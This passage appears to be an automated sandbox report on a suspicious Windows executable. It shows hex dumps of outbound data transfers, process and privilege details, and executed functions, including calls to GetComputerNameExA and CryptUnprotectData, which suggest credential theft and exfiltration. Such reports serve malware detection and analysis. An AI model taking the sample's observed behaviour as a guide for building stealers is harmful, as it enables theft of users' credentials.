1a 8a f1 d1 ec 45 78 d9 bc b0 Data Ascii: z5kCX((}Qo$MD\)3JEe>6UUKtoLB1Zr/4f?4>H:\SA~1XX<DRuGaqVH#WDPt]\9uyF_O}\WxoG<A}x)&+ON<z\|p'L)PEx
2024-04-27 06:14:07 UTC	15331	OUT	Data Raw: 5b 86 14 7d f5 db 93 12 db a5 af f6 d4 8b 4b cf ae 86 01 db 18 d4 1c db ac 35 af 04 60 a8 bf ef 7e 3c f2 8a e9 d2 17 9c 81 3a d0 32 df bc ef d1 3a e1 6a b8 52 6a 8a b7 75 30 ca 7f 77 6d ea 2f 82 6e 8a a0 f8 8b d8 01 5f 70 c6 e6 bf a2 c9 d1 eb 1d 75 46 39 4b 13 cd 56 db 4b 45 1f 9d 78 c9 d1 f2 bb 4b 6a 3e 71 cd 76 ce 87 5f 2f bc f7 df cb 90 1d 16 bc 43 71 fb 80 ee 45 7e 7e c8 91 7e 40 f8 af 96 92 ba b9 c9 b9 48 75 0d 5d b2 fb 78 a3 37 6a 49 e4 26 da e3 9e 6b 92 50 52 83 9e a0 99 0b 18 6b 53 63 2a 75 7b 0b 82 6b 4b b0 f3 28 75 f3 b8 0c 9d 30 b8 e5 77 e7 e4 e7 6e 1c b3 a7 fd 68 49 da c2 23 ca de ee f6 8f 73 a9 95 3f 38 06 71 16 14 d9 ab cd 77 79 8a 17 cf d1 fc ca 5a fb c9 9f 76 cf f0 f4 5b fe 54 3d e8 f6 ea 83 ad 1a c5 a2 b4 79 ac d8 51 fb 93 ff 12 db ab c3 Data Ascii: [}K5`~<:2:jRju0wm/n_puF9KVKExKj>qv_/CqE~~~@Hu]x7jI&kPRkSc*u{kK(u0wnhI#s?8qwyZv[T=yQ
2024-04-27 06:14:07 UTC	15331	OUT	Data Raw: d6 69 8e 8f 94 d1 78 9b 83 57 39 39 67 c1 6b 68 e4 85 ea 52 6d 72 55 59 12 3a f6 80 ea 88 05 c7 26 78 bf b3 8b bc d8 ee 9d 3d ad 4c b7 87 dc 66 cd ca bc 27 7f 8f 95 64 c0 ab 02 37 ab 33 5c 73 21 de 32 a2 17 61 30 c7 05 7f 98 31 b8 b9 17 21 04 8c 26 72 a1 3a 22 d0 7b 7d 86 8f 38 38 ae 66 b3 03 79 1e 4a 6f 88 fa 5f 99 b4 45 06 05 dc f6 9a 74 2a ba 8f 04 1f ee 65 36 f1 80 21 8a e3 a8 b5 aa 0b 46 78 e7 dd fb 4f 87 df 6b 9b fa 6b 49 3a dc 3f 22 69 73 4f e5 bd b2 39 29 dd 0f fd f7 01 ad 69 e1 64 c2 0a c4 f0 4f a4 f2 fd ff 5f c9 0d 49 50 3a c6 03 e7 81 c5 3f 03 97 64 16 df 08 31 aa ca 29 29 2d c8 62 f8 f3 62 c9 a3 22 1e 0e c2 79 aa fd 13 67 47 38 e1 bb 44 59 56 82 20 e2 cf f6 74 a0 a2 fd 0c 49 ac 35 48 0d dc 8a d2 a6 1e fa b8 ef 21 eb c1 4d ce 79 1d 42 fb 99 e8 Data Ascii: ixW99gkhRmrUY:&x=Lf'd73\s!2a01!&r:"{}88fyJo_Et*e6!FxOkkI:?"isO9)idO_IP:?d1))-bb"ygG8DYV tI5H!MyB
2024-04-27 06:14:07 UTC	15331	OUT	Data Raw: c9 a5 b5 21 1b b7 8a f9 75 66 11 72 4e 75 12 c2 4d e5 c8 0a 8b c6 cf cb 35 d8 6a f9 42 17 7b 42 81 dc b3 a8 42 52 a3 81 81 af c0 8f 83 2d 81 54 75 e5 56 6f ed da 04 28 de 7b db e7 59 9a 16 32 b0 60 fb d5 8e 5a 11 6b 19 46 00 62 57 ad 33 4a 39 5c 9f 63 db c5 31 a5 5f 08 03 82 6e 8c dd e3 eb b9 7f e4 ee d6 a4 53 bd 62 77 91 b3 47 5b b2 50 89 4a b4 a1 98 fd 78 df e5 8f 46 36 df f4 3d 0b 04 0d 35 9a c2 b6 f8 c2 4e b7 f1 15 e7 1b ce 3a c6 f6 56 6c 3f f8 11 64 f8 43 e8 9c b3 ec af ba c4 67 d0 ef 12 6c 6e 65 22 86 00 1e 0c 15 d0 5b db 06 e5 6d b9 3f 5c 21 e1 6c 44 ef 20 6e fd 16 bd e0 a8 ce e1 2d 7d dc 21 8e 3f 6a 62 eb 28 bd c8 cc 80 64 58 25 c9 88 de a7 a6 3e ab 27 8f 09 81 7d 7e 54 87 f4 4f 31 cf 83 fc ab 18 39 42 cc f1 fb 3c 60 61 a7 9d dd d6 be 8b 42 37 12 Data Ascii: !ufrNuM5jB{BBR-TuVo({Y2`ZkFbW3J9\c1_nSbwG[PJxF6=5N:Vl?dCglne"[m?\!lD n-}!?jb(dX%>'}~TO19B<`aB7
2024-04-27 06:14:07 UTC	15331	OUT	Data Raw: b3 9c 22 27 4a de d5 f5 9c 55 f2 ff b5 55 fc c4 c9 22 e0 eb 9d c3 79 71 55 1e 6f f6 b5 05 c6 e9 f6 7d 43 e2 dd b9 6f 55 59 c3 12 4d b0 0b a7 4a 90 91 82 20 0f 1d 58 5d 9a 91 94 c6 09 42 6e a0 ce 6d a6 20 75 37 1b 36 51 ee 70 ab ea a1 e8 8f 8b 80 b0 ea 1d 04 6e e1 64 66 33 27 38 50 25 ff db b2 57 36 3e 7a c9 80 6b 77 96 87 64 bd 4c fd eb 5f 1f 3f 42 fe d8 19 9f 0d 24 88 f7 de c0 2d e2 90 e5 b7 1c d3 dc e7 4a e2 ab f1 8a 56 b4 24 c6 fa cf 4c 7c e4 93 cd d0 14 44 f2 6d 16 66 73 dc 96 34 94 50 a0 8d 84 9b 0f 58 91 26 e8 ac dc 59 2d fd 36 1f cd fa 19 25 7a 13 0d 70 9b ab 3f d3 58 3e 43 08 fa b5 d1 a5 c7 39 f7 02 99 ec 00 e7 ea 1f d7 a2 1c 7a c1 62 8d 10 b8 ba 31 5a f2 b1 46 7a b4 52 a9 6f b3 12 a6 3e 06 20 ba 94 fe 8e 03 78 94 7d 94 ce 79 0a e5 dd 25 3f 33 f8 Data Ascii: "'JUU"yqUo}CoUYMJ X]Bnm u76Qpndf3'8P%W6>zkwdL_?B$-JV$L\|Dmfs4PX&Y-6%zp?X>C9zb1ZFzRo> x}y%?3
2024-04-27 06:14:07 UTC	15331	OUT	Data Raw: 44 3d 10 30 07 af 1b ce 5f 0b 85 09 cf 43 f4 f9 13 17 87 2a 1c 46 f3 d2 09 22 9a 0c 85 74 c5 d7 e4 04 4f 53 d8 b4 1e 2e 93 ea a2 72 df 4d db 5c 0c c3 c0 04 b2 33 df af f6 ff b6 a7 b5 e8 65 fe 48 d8 04 3c 07 e6 9e a3 60 d9 f9 33 e3 2f b0 30 1f 8e 77 51 1a db 39 3e 31 e7 ca b6 1f 88 34 20 6a a3 cc c4 fa 8a 6e d8 d7 ba 28 a5 cf 8d a7 98 5d 50 bc a4 94 61 30 a7 de e6 1a 6b 5f 43 94 0f d5 bb 24 18 4f e6 07 bc 02 eb b1 55 47 5d eb 3b cd 9a c6 f7 87 38 4a 05 20 31 ab 7c 45 bd f4 07 9e fe 24 ec f5 7d 8b de 50 32 b2 3b 35 ae a5 86 f7 44 34 d0 6c 3e 0d 7e 2b 5f d5 2f f1 e4 bc 28 7b 70 7c 58 a2 df 69 d3 f9 5f c4 13 4a e1 fe a9 fa ab 02 a4 40 8f 18 c6 b0 51 7e 4f 49 c0 35 af a5 cd 2f 89 78 52 ad a9 5c fa cf eb b4 b3 7a 43 cd b4 39 c4 52 01 cc eb a6 ea 8e 0f 74 c7 b4 Data Ascii: D=0_C*F"tOS.rM\3eH<`3/0wQ9>14 jn(]Pa0k_C$OUG];8J 1\|E$}P2;5D4l>~+_/({p\|Xi_J@Q~OI5/xR\zC9Rt
2024-04-27 06:14:07 UTC	15331	OUT	Data Raw: 65 41 d5 e5 fd 00 fe 97 17 44 1b 4c ba 57 e6 ac bd 4c 6c 21 6b 63 b9 0e a8 ef 9a 3c 02 db cd 1c 66 a4 c0 d5 dd a6 f2 10 29 1e 0e 42 96 09 67 58 ba 8f 26 c3 af c9 bc 18 bb 20 89 25 4e f1 75 fc 4a f0 5b 10 6e 25 20 22 dd fc 3c e6 1f a8 70 e7 f6 54 a8 77 3a 74 2c 41 96 d9 b8 4e 13 c1 ef 92 85 df 01 94 db 50 52 ec d6 c1 e7 21 44 fc 0d c6 c5 64 db d9 ee a2 61 3d b6 8c b0 90 1b f7 e0 b5 d1 02 e1 28 95 4e c0 9d 98 0b 3f 4a 80 b5 0c 7f cd 31 39 af 74 da 1a a2 25 44 85 20 e5 8d 40 1d aa 30 41 84 4e d8 77 a9 fe 01 c4 0f f1 f1 0b 4a 7c ab 39 f0 28 56 fe e9 27 70 a0 f7 6b 53 3e ca ac 21 58 82 f3 06 a4 3f 09 56 45 d0 82 5d 63 1a 5f 3c 19 54 77 c8 6f 0f e0 9b 4d ca 23 f3 f3 cd 6e d1 a3 c2 04 85 99 da cb c2 7c df aa 3f cb 33 b4 f9 e9 54 b6 4b 15 91 49 a4 a4 3d 09 62 e2 Data Ascii: eADLWLl!kc<f)BgX& %NuJ[n% "<pTw:t,ANPR!Dda=(N?J19t%D @0ANwJ\|9(V'pkS>!X?VE]c_<TwoM#n\|?3TKI=b
2024-04-27 06:14:07 UTC	15331	OUT	Data Raw: 00 fb 68 8b 74 ff 7f 80 32 fb 5c eb 51 a1 31 48 37 67 6c e8 ed 7f ba 7d 1c 36 be 0b ea 16 64 f3 cf 55 df 3f 7c 4b 82 b0 dd 28 80 db 0b 91 f9 a1 8c 3d d1 43 b1 f9 46 76 28 18 0e b3 dd bd cd d2 9f b3 6e fd 0c ae 0f e1 e5 4e 61 d9 05 d9 47 f7 4b 33 6f 35 a8 d9 9c 46 d6 36 c6 7d 7f e9 9b e3 a5 00 f6 e0 39 01 91 55 8b 31 52 27 9d 7c b9 1f 9a 5d 1d 64 69 45 13 16 fc 64 71 ce e3 af e6 b7 01 7e 02 f1 d7 08 31 08 17 8c db fa f5 ec d2 68 92 08 c5 17 32 77 cc cf 40 c8 3c ac 17 dd 21 d8 94 a5 75 08 1c b6 4e af ad 31 5a 0d 4c 6b 42 9b 96 62 f8 e9 8d 3c 14 73 93 62 ee 79 96 b5 9e f4 e9 7a 1a 2f 98 dc 40 cf d8 81 a6 5f c2 1a 0b 94 d7 49 b5 b2 e9 8a f5 81 b2 22 63 3a 6f 94 13 c3 bd a5 98 cd 2a f3 de ae 88 6f fa ad 4a 0f c5 73 1e 5c e3 b7 00 ec 5c 14 21 76 41 33 9a 06 68 Data Ascii: ht2\Q1H7gl}6dU?\|K(=CFv(nNaGK3o5F6}9U1R'\|]diEdq~1h2w@<!uN1ZLkBb<sbyz/@_I"c:o*oJs\\!vA3h
2024-04-27 06:14:09 UTC	808	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 06:14:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d3578daem9usrae5j0c4i3omn1; expires=Wed, 21-Aug-2024 00:00:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g5b4AcGFMFuldkieiZOQuuJb62%2FAhQ6tIQ%2Fhw21OPD2iwhfgNTALq4dbW8UPrdSHU36td3dGpcJ1O%2F3H93qoRMFzdxYX%2FOPpWgnXpIcD8dAZ01FHWjLBRefrzUg%2BJRldoD9ndW1iOstL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87acaba97cc94240-EWR alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	08:13:56
Start date:	27/04/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xf80000
File size:	6'519'256 bytes
MD5 hash:	336DBCBE5553F56BCEB71DD99A37C00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22.9%
Total number of Nodes:	227
Total number of Limit Nodes:	6

Executed Functions

Function 00F89970 Relevance: 7.9, Strings: 6, Instructions: 420
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2, xrefs: 00F89AA3
.-, xrefs: 00F89F93
0, xrefs: 00F899D0
VU, xrefs: 00F89EEE
60.6, xrefs: 00F89D7A
AQNW, xrefs: 00F89EE3

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: .-$0$2$60.6$AQNW$VU
API String ID: 0-2944896817
Opcode ID: 1e8e4f91899d9bcee931503745175cbeed2e2321f5b36a924f74c9893f1c975b
Instruction ID: 8bf894be8818c7d9ddbb90907031282073536df9f595c565a5e01c87d92013e0
Opcode Fuzzy Hash: 1e8e4f91899d9bcee931503745175cbeed2e2321f5b36a924f74c9893f1c975b
Instruction Fuzzy Hash: 1D02F1B01083818BE324DF14C494BAFBBE5BBC2348F144D1DE5D58B292D7BAD909DB96

Uniqueness

Uniqueness Score: -1.00%

Function 00FA4FB4 Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 620
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 00FA54D4
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00FA55DF

Strings

147m, xrefs: 00FA57F9
-#)$, xrefs: 00FA57EF

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID: ComputerName
String ID: -#)$$147m
API String ID: 3545744682-3639003421
Opcode ID: ad1370db3420af8b52cd8d19142fb32690e8a495b2c98914e8cd5844c48612e2
Instruction ID: 433e68e4edceea02d747cff2493eb4d18403d5e93451d919ebe6aae4505f685b
Opcode Fuzzy Hash: ad1370db3420af8b52cd8d19142fb32690e8a495b2c98914e8cd5844c48612e2
Instruction Fuzzy Hash: 7C329CB0408F808AD736CB34C8A47E3BBE1AF57719F48499DD4EB9B282C7796406DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00FA5082 Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 573
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 00FA54D4
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00FA55DF

Strings

147m, xrefs: 00FA57F9
-#)$, xrefs: 00FA57EF

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID: ComputerName
String ID: -#)$$147m
API String ID: 3545744682-3639003421
Opcode ID: f1aca30125e46af8686fbb022b22769e6ad7e4491c40d71c8ae3ce73ff92ee98
Instruction ID: ee8f331339b25144b3bd4019e485a07c76a5874e8a1a64180bac903bd63c7da2
Opcode Fuzzy Hash: f1aca30125e46af8686fbb022b22769e6ad7e4491c40d71c8ae3ce73ff92ee98
Instruction Fuzzy Hash: DA229BB0404F808AD726CF34C8A47E3BBE1AF17719F48499DD4EB9B282C779650ADB51

Uniqueness

Uniqueness Score: -1.00%

Function 00FA4AAE Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 572
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 00FA54D4
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00FA55DF

Strings

147m, xrefs: 00FA57F9
-#)$, xrefs: 00FA57EF

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID: ComputerName
String ID: -#)$$147m
API String ID: 3545744682-3639003421
Opcode ID: 03bc9413b7480659bb2dccfa3ece1abc12f0feffd95e7f287342ca718fd48037
Instruction ID: 097b8866c7843c668ebf26c9a4dfd455c72ec0c490da1ed75656379e4ed021e6
Opcode Fuzzy Hash: 03bc9413b7480659bb2dccfa3ece1abc12f0feffd95e7f287342ca718fd48037
Instruction Fuzzy Hash: BF22ADB0904F808BD726CB34C8A47E7BBE1AF57315F48499DD4EB9B682C739A406DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F849B0 Relevance: 5.5, Strings: 4, Instructions: 486
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

IDAT, xrefs: 00F84E63
), xrefs: 00F84A22
IEND, xrefs: 00F84EDE
IHDR, xrefs: 00F84DF2

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR
API String ID: 0-3181356877
Opcode ID: 31f36223ac30eefa79072630d9508872ca6a0ca728f64db1261ac8aec599c4d5
Instruction ID: beb73cbd124a73eeffd199b5933fb8ee91222714c0e7ac85e7eb9c1fb6f8dbc5
Opcode Fuzzy Hash: 31f36223ac30eefa79072630d9508872ca6a0ca728f64db1261ac8aec599c4d5
Instruction Fuzzy Hash: 1D023471A083958FD714DF28DC807AABBE1EF85304F05866CF9859B392D339E905DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00FA0D80 Relevance: 3.0, Strings: 2, Instructions: 519
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

QS, xrefs: 00FA0EE0
UW, xrefs: 00FA0ED6

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: QS$UW
API String ID: 0-2307071442
Opcode ID: b7b8766a87dff90c4542fece98346c3c073ee90383f91330f80fee433e1d7ece
Instruction ID: 0018cc2969b193b3d65f12894b4ea4b6853c79ff70d7541072d4629d586add16
Opcode Fuzzy Hash: b7b8766a87dff90c4542fece98346c3c073ee90383f91330f80fee433e1d7ece
Instruction Fuzzy Hash: 010287B5900B05CFE724CF25C991B63B7F1FB4A304F158A1CD1AA8BAA2DB34E416DB40

Uniqueness

Uniqueness Score: -1.00%

Function 00FA0DF0 Relevance: 3.0, Strings: 2, Instructions: 486
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

QS, xrefs: 00FA0EE0
UW, xrefs: 00FA0ED6

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: QS$UW
API String ID: 0-2307071442
Opcode ID: 8f0f792ee15984fa6ea00e804261a87e3c601ef47f15e31595dc637d75d73fa7
Instruction ID: 32c21ed7ccbaa291bd43803d4e6c071e792a0e4d1bdfce435aa834e432087a3c
Opcode Fuzzy Hash: 8f0f792ee15984fa6ea00e804261a87e3c601ef47f15e31595dc637d75d73fa7
Instruction Fuzzy Hash: A00265B5600B05CFE724CF25C991B67B7E1FB4A344F158A2CD1AB8BAA2D734E416DB40

Uniqueness

Uniqueness Score: -1.00%

Function 00F96645 Relevance: 1.5, APIs: 1, Instructions: 28encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00F96677

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: e1c66dcf063f7f24e1b1870ef831c4b292e7ff801a69195a22e2bb4fbe4aefd6
Instruction ID: 02216a13f96b4d3cc2281e3dd63beb9de11d7433b14eb61af680d5b58b25ff7d
Opcode Fuzzy Hash: e1c66dcf063f7f24e1b1870ef831c4b292e7ff801a69195a22e2bb4fbe4aefd6
Instruction Fuzzy Hash: 08E01270154749AFE238CB20CC91F7B73EDEB88205F24461EE25193194E531E405CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00FB5970 Relevance: 1.5, APIs: 1, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00FB86FC,005C003F,00000006,00120089,?,00000018,A8A9AEAF,00000000,00F9510A), ref: 00FB5996

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction ID: 9a2a3e30e6272c7ba4599b7d5b49d8b1df743313db24dc7d28a19b0c9381744b
Opcode Fuzzy Hash: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction Fuzzy Hash: 82D04875908216AB9A09CF44C54040EFBE6BFC4714F228C8EA88873214C3B0BD46EB82

Uniqueness

Uniqueness Score: -1.00%

Function 00FA1740 Relevance: .4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3c8769e2942eb477d75acf589eb8f7d8c7dac4a181d85dad30661fea17835b77
Instruction ID: 80af68af6a884b46202ac3bbb4cc59f183fbaca431f35169c8b8f265af5deb30
Opcode Fuzzy Hash: 3c8769e2942eb477d75acf589eb8f7d8c7dac4a181d85dad30661fea17835b77
Instruction Fuzzy Hash: 9CC1CEB2A083019FD714CF18C89076BB7E1FF9A364F19892DE88587341E378D905DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00F96EA6 Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
